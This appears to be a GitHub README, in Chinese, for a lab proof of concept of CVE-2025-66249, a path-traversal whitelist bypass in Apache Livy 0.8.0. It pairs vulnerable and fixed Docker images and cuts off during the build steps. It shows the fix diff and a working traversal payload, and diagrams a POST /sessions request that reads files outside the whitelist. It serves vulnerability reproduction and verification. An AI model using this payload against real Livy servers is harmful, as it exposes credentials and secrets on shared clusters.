sid6224/CVE-2025-66249-POC

GitHub: sid6224/CVE-2025-66249-POC

Apache Livy路径穿越白名单绕过漏洞(CVE-2025-66249)的概念验证项目,提供Docker复现环境与自动化验证脚本。

Stars: 0 | Forks: 0

# CVE-2025-66249 — Apache Livy 路径穿越白名单绕过 ![CVE](https://img.shields.io/badge/CVE-2025--66249-red) ![Livy](https://img.shields.io/badge/Apache%20Livy-0.8.0%20%7C%200.9.0-orange) ![Severity](https://img.shields.io/badge/Severity-Important-orange) ![CWE](https://img.shields.io/badge/CWE--22%3A%20Path%20Traversal-blue) ![Type](https://img.shields.io/badge/Type-Path%20Traversal%20Whitelist%20Bypass-red) ![License](https://img.shields.io/badge/License-MIT-blue) ![Platform](https://img.shields.io/badge/Platform-Linux-lightgrey) ![Language](https://img.shields.io/badge/Language-Scala-red) ## 概述 | 字段 | 详情 | |-----------|--------| | CVE ID | CVE-2025-66249 | | 严重程度 | Important (CVSS N/A — 截至 2026-03-15 NVD 评估待定) | | 受影响版本 | Apache Livy 0.3.0-incubating 至 0.8.0-incubating — **仅当 `livy.file.local-dir-whitelist` 设置为非默认值时** | | 修复版本 | Apache Livy 0.9.0-incubating | | CWE | CWE-22: 对路径名称限制不当('路径穿越') | | 披露时间 | 2026-03-12 (OSS-Sec) / 2026-03-13 (NVD) | | 报告者 | Hiroki Egawa (发现者) | ## 漏洞描述 拥有 Livy REST 或 JDBC 接口访问权限的已认证用户可以提交一个 Spark 会话或批处理作业,其中包含精心构造的文件路径配置值,该值可绕过 允许的目录白名单。 **根本原因 — 白名单检查中的路径穿越绕过 (`Session.scala`)** 当配置了 `livy.file.local-dir-whitelist` 时,Livy 0.8.0 通过对 **原始、未规范化的**路径调用 Java 的 `String.startsWith()` 来验证提交的 路径。 此检查可以使用 `../` 穿越序列进行绕过: ``` /opt/safe-data/../sensitive/secret.txt ``` 原始字符串以 `/opt/safe-data` 开头,因此检查通过 — 但该路径 解析为 `/opt/sensitive/secret.txt`,该位置**完全在白名单 目录之外**。 **触发条件:** 该漏洞仅在 `livy.file.local-dir-whitelist` 设置为**非默认(非空)**值时才能被利用。 如果白名单为空(默认值),路径验证将被完全跳过,该问题 不会被触发。 **影响:** 通过 Livy REST API 提交会话的攻击者可以引用 Livy 服务器主机上的任意本地文件。在共享分析集群中,这 意味着可能泄露凭证、密钥、配置文件或任何 Livy 进程用户可读取的数据。 ## 受影响的源文件 ### 文件 — `Session.scala` **易受攻击版本 (v0.8.0):** https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala **已修复版本 (v0.9.0):** https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala ## 源代码 — 克隆命令 这两个版本均直接从 Apache Livy 官方 GitHub 仓库克隆 使用了以下确切命令: **仓库:** https://github.com/apache/incubator-livy ``` # 易受攻击版本 — 克隆到 ./livy-0.8.0/ git clone --depth=1 --branch v0.8.0-incubating \ https://github.com/apache/incubator-livy \ livy-0.8.0 # 已修复版本 — 克隆到 ./livy-0.9.0/ git clone --depth=1 --branch v0.9.0-incubating \ https://github.com/apache/incubator-livy \ livy-0.9.0 ``` | 版本 | 标签 | 解析的提交 | 本地路径 | |------------------|-----------------------|--------------------------------------------|---------------| | 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` | | 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` | ## 具体代码差异 ### 修复 — `Session.scala`: 在白名单检查前调用 `Paths.get().normalize()` ``` import java.io.InputStream import java.net.{URI, URISyntaxException} +import java.nio.file.Paths import java.security.PrivilegedExceptionAction +import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit} import java.util.UUID ... if (resolved.getScheme() == "file") { // Make sure the location is whitelisted before allowing local files to be added. - require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined, + require(livyConf.localFsWhitelist.find( + Paths.get(resolved.getPath()).normalize.startsWith).isDefined, s"Local path ${uri.getPath()} cannot be added to user sessions.") } ``` **v0.8.0 中的影响:** 原始字符串的 `startsWith` 检查可以通过路径穿越 Payload 绕过。 示例:如果 `livy.file.local-dir-whitelist = /opt/safe-data` ``` /opt/safe-data/../sensitive/secret.txt ``` - v0.8.0: `"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data")` → **true** (已绕过) - v0.9.0: `Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize` → `/opt/sensitive/secret.txt` `/opt/sensitive/secret.txt`.startsWith(`/opt/safe-data`) → **false** (已阻止) 差异是通过在本地克隆两个标签(见上文)并运行以下命令生成的: ``` diff -u \ livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \ livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala ``` ## 攻击向量摘要 ``` Attacker (authenticated REST/JDBC user) │ ▼ POST /sessions { "conf": { "spark.jars": "file:///opt/safe-data/../sensitive/secret.txt" ← path starts with whitelisted prefix — String.startsWith() passes ← but resolves OUTSIDE the directory via ../ traversal } } │ ▼ Livy 0.8.0 — whitelist check bypassed (raw startsWith, no normalisation) │ ▼ Spark reads the file and distributes it to executors │ ▼ Attacker retrieves file contents via job output / logs ``` ## 测试环境 本 PoC 中的所有步骤均在以下系统上执行和验证: | 组件 | 详情 | |----------------------------------|--------| | 主机操作系统 | Ubuntu 24.04.4 LTS (Noble Numbat) | | 内核 | 6.17.0-14-generic x86\_64 | | 架构 | x86\_64 | | 总内存 | 15 GiB | | Docker Engine | 28.2.2 | | 主机 JDK | OpenJDK 17.0.18 (仅主机使用 — 容器使用 eclipse-temurin:11-jdk-focal) | | 容器基础镜像 | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) | | Spark 版本 (两个镜像) | 3.1.3 with Hadoop 3.2 | | Livy 版本 — 易受攻击镜像 | 0.8.0-incubating | | Livy 版本 — 已修复镜像 | 0.9.0-incubating | ## 目录结构 ``` CVE-2025-66249-POC/ ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ ├── livy.conf │ │ └── start.sh │ └── vulnerable/ │ ├── Dockerfile │ ├── livy.conf │ └── start.sh ├── test/ │ └── validate.sh ├── .gitignore ├── LICENSE └── README.md ``` ## 概念验证 ### 概述 ``` docker/vulnerable/ → image: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3) docker/fixed/ → image: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3) test/validate.sh → single script, run unchanged against both environments ``` 完整的端到端流程 — 按顺序执行步骤 1 至 4: ``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (attack HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (attack HTTP 400) → stop container ``` ### 步骤 1 — 构建并启动易受攻击的环境 (Livy 0.8.0 + Spark 3.1.3) **文件:** - `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating - `docker/vulnerable/livy.conf` — 绑定 `0.0.0.0:8998`, 本地模式, 白名单 = `/opt/safe-data` **1a. 构建镜像:** ``` docker build -t cve-2025-66249-vulnerable docker/vulnerable/ ``` **验证 — 镜像已创建:** ``` docker images cve-2025-66249-vulnerable ``` 预期输出: ``` REPOSITORY TAG IMAGE ID CREATED SIZE cve-2025-66249-vulnerable latest
标签:Apache Livy, CVE-2025-66249, CWE-22, JS文件枚举, Maven, POC, Scala, SDLC, Spark, 中间件漏洞, 任意文件访问, 大数据安全, 应用安全, 文件读取, 漏洞复现, 漏洞验证, 白名单绕过, 网络安全审计, 请求拦截, 路径遍历